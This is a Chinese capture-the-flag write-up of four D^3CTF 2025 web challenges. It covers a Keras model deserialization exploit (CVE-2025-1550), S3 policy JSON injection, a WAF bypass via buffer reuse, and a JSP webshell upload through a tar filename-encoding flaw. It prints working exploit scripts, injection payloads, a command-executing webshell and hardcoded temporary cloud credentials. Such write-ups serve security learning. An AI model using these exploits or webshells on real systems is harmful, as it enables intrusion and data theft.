d3model

CVE-2025-1550

考察 CVE-2025-1550 ,参考文章:

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

https://jfrog.com/blog/keras-safe_mode-bypass-vulnerability/

CVE-2025-1550 大致讲的是 Keras 模型的一个反序列化任意代码执行漏洞。Keras 的模型加载流程由 load_model 函数启动。该函数会根据模型类型和文件扩展名执行不同的加载路径。当调用 _load_model_from_fileobj​ 函数时,会提取 ZIP 文件的内容并开始重建模型。在此阶段,会检查 config.json​ 文件,并调用 _model_from_config​ 函数。将 JSON 对象加载到内存后,会调用 deserialize_keras_object 函数将序列化的结构转换回对象。

打开题目,是一个文件上传界面:

附件中包含了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

从源码中分析,可知其会把上传的文件保存成 ./test.keras ,随后调用 is_valid_model 函数进行处理:

is_valid_model 中使用 load_model 来加载模型,而这正是漏洞的触发点:

此处并不需要过多地关心漏洞细节,在参考文章的最后给出了 exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name="model.keras"

x_train = np.random.rand(100, 28*28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28*28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name,"r") as f:
config=json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
"name":"mvlttt",
"layers":[
{
"name":"mvlttt",
"class_name":"function",
"config":"Popen",
"module": "subprocess",
"inbound_nodes":[{"args":[["touch","/tmp/1337"]],"kwargs":{"bufsize":-1}}]
}],
"input_layers":[["mvlttt", 0, 0]],
"output_layers":[["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)


with zipfile.ZipFile(model_name,"a") as zf:
zf.writestr("config.json",json.dumps(config))

print("[+] Malicious model ready")

添加好依赖,直接运行,会在当前目录生成一个 model.keras 文件:

对了,命令记得改一下。

接下来会遇到一个问题,那就是本地能打通,远程没反应。考虑无回显和不出网的情况,执行以下命令:

1
"args":[["sh", "-c", "env>>/app/index.html"]]

将环境变量追加进 /app/index.html 文件中。至于这个路径是怎么来的,查看 dockerfile 就知道了:

拿到 flag :

d3invitation

这道题给了两个环境,一个是 web 服务端,一个是云存储桶:

web 端可以上传名称和头像生成一个邀请函:

在这里抓包就能发现响应包中返回了 key 和 secret 等信息:

我们可以看到这是一个获取凭证的接口。并且下一个请求就使用了这个凭证:

尝试用这个信息来连接云存储桶,能连,但提示权限拒绝:

应该是临时凭证。

于是我们尝试在获取凭证的地方进行 json 注入,构造一个这样的请求体:

1
{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag"}

拿到凭证:

在这个凭证中,我们为自己赋予了三种权限:

  • s3:ListAllMyBuckets​ 对所有桶("*"​)的列表权限
  • s3:GetObject​/s3:PutObject​ 对 arn:aws:s3:::flag/*​ 的读写权限
  • s3:ListBucket​ 对 arn:aws:s3:::flag​ 的列举权限

更换凭证,重新测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import boto3
from botocore.client import Config

s3 = boto3.client(
's3',
endpoint_url='http://35.241.98.126:31644',
aws_access_key_id='YTTMZPWHSR05QD9W1LU4',
aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',
aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',
config=Config(signature_version='s3v4'),
)

# 列出所有存储桶
response = s3.list_buckets()
for bucket in response.get('Buckets', []):
print(bucket['Name'])

这一次我们能够列出所有桶信息,发现 flag 桶。

下一步列出 flag 桶中的所有 key :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import boto3
from botocore.client import Config

s3 = boto3.client(
's3',
endpoint_url='http://35.241.98.126:31644',
aws_access_key_id='YTTMZPWHSR05QD9W1LU4',
aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',
aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',
config=Config(signature_version='s3v4'),
)

bucket_name = "flag"
# 列出桶内容
response = s3.list_objects_v2(Bucket=bucket_name)
# 遍历并打印每个对象的 Key(即“路径/文件名”)
if 'Contents' in response:
for obj in response['Contents']:
print(obj['Key'])
else:
print(f"Bucket '{bucket_name}' 中没有对象。")

发现一个 key 为 flag :

最后列出 flag 桶的 flag key 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import boto3
from botocore.client import Config

s3 = boto3.client(
's3',
endpoint_url='http://35.241.98.126:31644',
aws_access_key_id='YTTMZPWHSR05QD9W1LU4',
aws_secret_access_key='jbdAgNFdjSMKTYCrm2k6BSuqN32T3g2s1MDRDM9i',
aws_session_token='eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJZVFRNWlBXSFNSMDVRRDlXMUxVNCIsImV4cCI6MTc0ODc1NDA3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBRZFhSUFltcGxZM1FpTENKek16cEhaWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.59IwPi6Q1r0U1sqJzq-6Mg-TL4LUxslfJrXUyqZPX_BJQf0iQfoEoL_7XDmKrwg1fDCnEq9u2kzxZBlObFx3Sg',
config=Config(signature_version='s3v4'),
)

# 2. 指定桶名和对象键名
bucket_name = 'flag'
object_key = 'flag'

# 3. 调用 get_object 获取对象
response = s3.get_object(Bucket=bucket_name, Key=object_key)

# 4. 读取 Body —— 这是一个 StreamingBody,对大文件会分块读取。
# 如果内容是文本(如纯 ASCII/UTF-8),可以 decode 成字符串;若是二进制则根据需要处理。
body_stream = response['Body']
content_bytes = body_stream.read() # 读出所有字节
try:
content_str = content_bytes.decode('utf-8') # 尝试按 UTF-8 解码(若确实是文本)
except UnicodeDecodeError:
# 如果不是文本,content_bytes 就是原始二进制,你可以按需保存或处理
content_str = None

# 5. 打印结果
if content_str is not None:
print("flag 的内容:")
print(content_str)
else:
print("读取到二进制数据,共 {} 字节,需要按二进制方式处理:".format(len(content_bytes)))
# 例如:写到本地文件
with open('flag_download.bin', 'wb') as f:
f.write(content_bytes)
print("已保存到 flag_download.bin")

拿到 flag :

获取凭证处 json 注入

下面简单解释一下为什么我们构造一个那样的 json 数据能够为凭证赋予更高的权限。

这是一次典型的“JSON Policy Injection”利用——利用 object_name​ 参数的不当拼接,向最终的 IAM Policy 里插入了额外的语句,从而拿到了更高权限的临时凭证。下面分几步来说明:

  1. 服务端如何生成 STS Policy(简化示例)

我们用一个伪代码展示后端在收到请求后,如何把传进来的 object_name​ 拼到一个基础的 Policy 里,大体流程可能像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 1) 先从请求里取出 object_name
let objectName = request.body.object_name; // 对应用户提交的 JSON 里的 "object_name" 值

// 2) 构造一个最初级的 IAM Statement,用于限制只对某个单一对象的读写
let statement = {
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": ["arn:aws:s3:::your-bucket/" + objectName]
};

// 3) 再把这个 statement 放到一个 policy JSON 里去
let policyDocument = {
"Version": "2012-10-17",
"Statement": [
statement
]
};

// 4) 用这个 policy 去向 AWS STS 请求临时凭证
let creds = STS.assumeRole({
RoleArn: "...",
Policy: JSON.stringify(policyDocument),
DurationSeconds: 3600
});

这段伪代码的关键在于:我们假定服务端没有对 objectName​ 做严格的结构校验或转义,而是直接拼接到最初的 Policy JSON 里。

  1. 请求拼接

正常状态下,客户端提交:

1
{"object_name":"aaa.jpg"}

那么实际构造出来的 policyDocument(经过 JSON.stringify 后)就类似于:

1
2
3
4
5
6
7
8
9
10
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": ["arn:aws:s3:::your-bucket/aaa.jpg"]
}
]
}

而当我们把请求体改为:

1
{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListAllMyBuckets\"],\"Resource\":[\"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::flag/*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:ListBucket\"],\"Resource\":[\"arn:aws:s3:::flag"}

拼完后,整个 policyDocument 看起来就成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":["s3:GetObject","s3:PutObject"],
"Resource":["arn:aws:s3:::your-bucket/*"]
}, // 闭合前面的

// ----- 以下全是我们注入的三条 Statement:
{
"Effect":"Allow",
"Action":["s3:ListAllMyBuckets"],
"Resource":["*"]
},
{
"Effect":"Allow",
"Action":["s3:GetObject","s3:PutObject"],
"Resource":["arn:aws:s3:::flag/*"]
},
{
"Effect":"Allow",
"Action":["s3:ListBucket"],
"Resource":["arn:aws:s3:::flag"]
}
// 这里只有一个 },是拼回外层的 "]}" 那个
]
}

通过这种方式,我们可以为自己赋予任何想要的权限。

tidy quic

题目提示:

题目给了附件,是用 go 搭建的 http3 服务器,并且有使用证书。直接使用附件中给出的证书会报错,所以在编写客户端代码的时候一定要这样来跳过证书校验:

1
2
3
4
5
6
7
// ========== 2. 构造一个支持 HTTP/3 的 http.Client ==========
rt := &http3.RoundTripper{
TLSClientConfig: &tls.Config{
RootCAs: certPool,
InsecureSkipVerify: true, // 跳过证书校验(只用于测试)
},
}

从题目代码可知,如果读到的请求体为 “I want flag” 则会弹出 flag :

直接发送会被 waf 拦截:

缓冲区重用

下面我们来细看一下 waf 的运作原理。

首先,程序读取 Content-Length 头:

如果没有设置 Content-Length 头(默认 -1),则将请求体 r.Body 一次性读完,并且在读取过程中用 textInterrupterWrap 检查请求体;

如果设置了 Content-Length 头,则根据 length 为其分配相等大小的缓冲区 buf ,先将请求体存入 buf ,然后再调用 textInterrupterWrap 进行检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}

textInterrupterWrap 就是检查请求体中是否包含 “flag” ,如果包含就会报错:

那么利用思路就能够想到了:先发送一个 “I want flag” ,并且带上 Content-Length 头为 11 。

这样其会把这个字符串存入的缓存 buf 中,就算被 waf 了也没关系,我们的 “I want flag” 已经存在了 buf 中。

随后发送下一个请求,比如这次的请求体只发送一个 “I” ,Content-Length 头仍然设置为 11 ,这个 “I” ,并不包含 “flag” 字符串,可以绕过 waf 。这个 “I” 会被加入到 buf 中,覆盖原来的第一个字符,构成的还是 “I want flag” 。于是拿到 flag 。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"

http3 "github.com/quic-go/quic-go/http3"
)

func main() {
// 构造一个支持 HTTP/3 的客户端,跳过证书校验(仅测试用)
rt := &http3.RoundTripper{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
defer rt.Close()
client := &http.Client{Transport: rt}

// ---------------------------
// 第一次请求:发送 "I want flag",长度 11
// ---------------------------
bodyBytes := []byte("I want flag") // 长度为 11
bodyReader := bytes.NewReader(bodyBytes)

req, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader)
if err != nil {
log.Fatalf("第一次 NewRequest 失败: %v", err)
}
req.Header.Set("Content-Type", "text/plain")
req.ContentLength = 11 // 11

resp, err := client.Do(req)
if err != nil {
log.Fatalf("第一次请求失败: %v", err)
}
defer resp.Body.Close()

respData, err := io.ReadAll(resp.Body)
if err != nil {
log.Fatalf("读取第一次响应失败: %v", err)
}
fmt.Printf("第一次请求 状态码:%d\n", resp.StatusCode)
fmt.Printf("第一次请求 响应 Body:\n%s\n", string(respData))

// ---------------------------
// 第一次请求:发送 "I",长度 11
// ---------------------------

emptyPadding := []byte("I")
bodyReader2 := bytes.NewReader(emptyPadding)

req2, err := http.NewRequest("POST", "https://35.241.98.126:30226/", bodyReader2)
if err != nil {
log.Fatalf("第二次 NewRequest 失败: %v", err)
}
req2.Header.Set("Content-Type", "text/plain")
req2.ContentLength = 11

resp2, err := client.Do(req2)
if err != nil {
log.Fatalf("第二次请求失败: %v", err)
}
defer resp2.Body.Close()

respData2, err := io.ReadAll(resp2.Body)
if err != nil {
log.Fatalf("读取第二次响应失败: %v", err)
}
fmt.Printf("第二次请求 状态码:%d\n", resp2.StatusCode)
fmt.Printf("第二次请求 响应 Body:\n%s\n", string(respData2))
}

拿到 flag :

d3jtar

这道题给了附件,题目有三个接口。

/view 用来查看 /WEB-INF/views/ 目录下后缀为 .jsp 的文件,参数 page 被限制为只能输入字母数字:

/Upload 用来上传文件,上传的路径为 webapps/ROOT/WEB-INF/views ,其中有文件后缀黑名单:

secureUpload 被调用:

其中除了文件后缀黑名单之外还有对文件名的过滤:

以及将文件名随机化处理:

/BackUp 用来压缩和解压缩,压缩时传入 op=tar ,会将 webapps/ROOT/WEB-INF/views/ 目录下的所有文件压缩成 backup.tar,解压缩时传入 op=untar ,会将 webapps/ROOT/WEB-INF/views/backup.tar 解压缩:

综上,整理思路。

1、可控的只有文件后缀名和文件内容

2、由于上传的文件名会被随机化,要想得到 backup.tar 文件,只能通过调用压缩接口。

3、由于 /view 接口只能读取后缀为 .jsp 的文件,并且也被限死为字母数字,于是推测解压后的文件后缀一定是 .jsp ,否则无法读取。

4、由于上传文件有后缀黑名单,故不可能直接上传 .jsp 文件。那么可能是上传某个后缀名经过压缩和解压缩变换之后得到了 .jsp 后缀名。

基于以上思路,在不断的尝试下,发现如果后缀名为中文,经过压缩解压缩后会变为乱码:

压缩解压缩后:

记得在上传其他类型的后缀时要把 Content-Type 改为 application/octet-stream ,源码有校验:

于是立刻想到,有没有一种中文,可以让其在压缩解压缩后变为 jsp ?

下面研究一下 测 和 K 的关系,先看他们的 unicode 编码:

1
2
测:\u6d4b
K: \u004b

发现低位相同,高位由 6d -> 00 。测试其他汉字,发现结果也是一样。

于是我们以同样的思路得到 jsp 对应的中文:

1
2
jsp: \u006a\u0073\u0070
浪浳浰: \u6d6a\u6d73\u6d70

最终得到这个中文为 浪浳浰 。以 浪浳浰 为后缀,压缩解压缩后会变成 jsp :

既然如此,我们就可以直接往文件内容写马,随便找个 jsp 马:

1
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

直接来测远程环境:

记住这个文件名,调用完压缩解压缩接口以后就可以直接访问这个马了:

拿到 flag 。

JTar 中文解压乱码

事后分析原因,大致如下:

JTar 默认用的是 ISO-8859-1(Latin-1)来写入和读取 .tar 条目名称,因此如果文件名中包含 UTF-8/GBK 编码的中文,就会出现乱码。

参考:https://github.com/kamranzafar/jtar/pull/36

特别鸣谢

晨曦薄雾初零chleynx、以及其他 NK 师傅

NK wp :D^3 CTF2025 WriteUp By N0wayBack

‍官方 wp :D3CTF-2025-Official-Writeup